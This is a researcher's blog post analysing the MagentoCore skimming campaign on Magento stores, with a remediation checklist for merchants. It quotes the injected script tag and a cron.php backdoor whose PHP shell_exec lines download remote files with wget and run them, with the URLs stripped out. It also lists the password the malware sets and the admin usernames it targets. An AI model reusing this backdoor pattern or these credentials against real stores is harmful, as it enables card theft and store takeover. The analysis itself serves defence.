MagentoCore skimmer most aggressive to date

real skimming

A single group is responsible for planting skimmers on 7339 individual stores in the last 6 months. The MagentoCore skimmer is now the most successful to date.

Update 2018-09-07: Because Google Chrome has added the campaign to its blocklist last Saturday, the skimmers are now rapidly replacing “” with “”. In the last 24h, they have updated at least 190 compromised stores.

Online skimming - your identity and card are stolen while you shop - has been around for a few years, but no campaign has been so prolific as the skimmer. In the last 6 months, the group has turned 7339 individual stores into zombie money machines, to the benefit of their illustrious masters.

The average recovery time is a few weeks, but at least 1450 stores have hosted the parasite during the full past 6 months.

The group hasn’t finished yet: new brands are hijacked at a pace of 50 to 60 stores per day over the last two weeks (source: daily scans of yours truly).

The victim list contains multi-million dollar, publicly traded companies, which suggests the malware operators make a handsome profit. But the real victims are eventually the customers, who have their card and identity stolen.

How it works

The MagentoCore skimmers gain illicit access to the control panel of an e-commerce site, often with brute force techniques (automatically trying lots of passwords, sometimes for months). Once they succeed, an embedded piece of Javascript is added to the HTML template:

<script type="text/javascript" src=""></script>

This script (backup) records keystrokes from unsuspecting customers and sends everything in real-time to the “” server, registered in Moscow.

The malware includes a recovery mechanism as well. In case of the Magento software, it adds a backdoor to cron.php. That will periodically download malicious code, and, after running, delete itself, so no traces are left.

shell_exec("wget -c -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");

The file clean.json (backup) is PHP code that removes any competing malware from the site, searching for ATMZOW, 19303817.js and PZ7SKD.

The file clear.json (backup) changes the password of several common staff user names to how1are2you3 (see below for list).

What you can do

If you are a merchant and found the skimmer in your store, this is the to-do list for your ops team / forensic investigator.

  1. Find the entry point: how could attackers gain unauthorized access in the first place? Analyse backend access logs, correlate with staff IP’s and typical working hours. If suspicious activity is recorded from staff IPs, it could be that a staff computer is infected with malware, or that the attacker has hijacked an authorized session.
  2. Find backdoors and unauthorized changes to your codebase. Usually there are a few, both in frontend/backend code and the database. My opensource Magento Malware Scanner can be useful here.
  3. Once you have established all means of unauthorized access, close them all at once.
  4. Remove the skimmer, backdoors and other code. Revert to a certified safe copy of the codebase, if possible. Malware is often hidden in default HTML header/footers, but also in minimized, static Javascript files, hidden in deep in the codebase. You should check all HTML/JS assets that are loaded during the checkout process.
  5. Implement secure procedures that cover timely patching, strong staff passwords etcetera. A good starting point.

If your team has little experience with forensic analysis, it generally pays off to hire a professional investigator. S/he will find the entry vector faster and perhaps more important, has a lower risk of leaving any undetected backdoors. One missed backdoor and you can start all over in a few weeks.

Admin user names

The MagentoCore malware will set the password to how1are2you3 for the following admin accounts periodically:

1468177885   1470303373   a            aborman      acid         admin01      
admin1       admin123     admin5       adminhendra  adminnew     adminray     
admins       adminu       admin_bfei   admin_ihfb   afletcher    ajen         
alexgvn123   alif         ameendering  Ameliaaa     an           anin48       
anjeng       anjeng12     Anr_01       ardyan       as           asdasd       
astroeh      asu123       asuasu       asulan123    Audi         azer         
aziz         Backup       backup_35f69 badcc        bangsat      berandal     
bgades       bgross       biji         bschlotter   bwilson      c0krek       
cahyodp      camuv1653    casa         cbaker       cecun        cevans       
cgcf         cgreenfield  cknobloch    clayser      ClayX404     cmorgan      
coco         codex        coq          cruis        cvanstryland cwarton      
d            dalexander   ddoine       Death        dede         dedeganteng  
default123   defaults     defaults01   defaut123    design       developer    
dhsjcsc      diablox      Dian2206     dkelly       dlc          dmorgan      
dpender      dsacks       dstefan      eCommerce    edorr        ehooser      
einlow       ejameson     ekennedy     erik         erobinson    eznt@i.ryanb 
family       faqih212     FathurFreakz ferdi123     fikrihaikal3 forme        
frozen404    fwilde       geizkayusuf  gfd          ggrav        ghaz         
gigihmhd     gladz        gmr          golix19      GolixGates1  google       
gustaman     haydar       haydra       hell         hiddenymouz  hornetto     
hunter2      hydro        Hysoka       i            ibizta       iko          
indoxploit   iniadmin     irfan        jaja         jancok       jancoks      
janderson    jayzweed     jbonnell     jdragovich   jefri        JelexCrew    
jengel       jhemphill    jhogan       jhult        jmartin      jockerdz     
jonson       jtappe       juancok      katon        kedaong      kehise       
kenta        khise        khoogers     kimak        kimyounsin   king         
kkruger      kmagnan      knap13       knelson      Kontol900!   kotack       
kuyas        kwwilliams   kwynia       lalapo123    LastTouch    lluethje     
localsystem  Loic         lthummagunta lucu         m4tr1x       madmax       
maganeto     magento      magento1     mageplas     magsupport   malang       
manggo       manick       masthio01    mcopa        meldred      Memekl3g17   
mgonzalez    mind         mlaudenbach  mlomo        momo         moza         
mperry       mranupak     mrsakso      msas         msf          msivalingam  
mtrudell     mturico      mwaldner     mwelbig      mwendt       nathan       
nbrouwer     ncastelli    neqyns13     ngentod      ngentot123   nmccray      
nnordman     noob         novara       nrussell     nzero        o            
omyo123      ouni         owadmin      pak          paypal       pbk7695K@    
penggunalaya pikri        policy       pujasucipto  putra7695K   r0cky        
rami         rctioke7     rcummings    rdewolfe     restuser     revian29     
rezafirdaus  rezafirdaus2 rhaan        Rieqy        rieqyns13    rkm48        
rmiller      robert       Root         rseeker      s            sadmin       
samikom      sav.admin    saz          sdunham      semprol      sgood        
sgoodman     shansen      shayer       sheinz25     Shor7cut     Sihdaunix    
sjohnson     slackerc0de  slamusga     smolix       soliro       ss123        
staff.develo stores       stupid       Support      surya        surya1       
svandenheuve swhite       sysadm       sysadmiin    sysadmin     sysadmin1    
sysmon       system32     systemadmin  systembackup T1KUS90T     tadamec      
tae          tamedeo      tanderson    task         teastmond    telgersma    
terserah     tesdar       test         tfgh         Thole129     tomhawk      
training     tvanhouten   ubehera      ui           upel666      uSer         
VHiden133    vpotter      wajixz       wawa         wew          ybickham     
youmisscry   ywigaraa     zadmin       zaz          ziko         zxc          
zxcyou636    _admin       gogle        Nexcess      

Further reading

I am the creator of MageReport and have been tracking payment skimmers since 2015. My company Sanguine Security provides security solutions for online stores. If you need a solid cleanup & root cause analysis, do get in touch.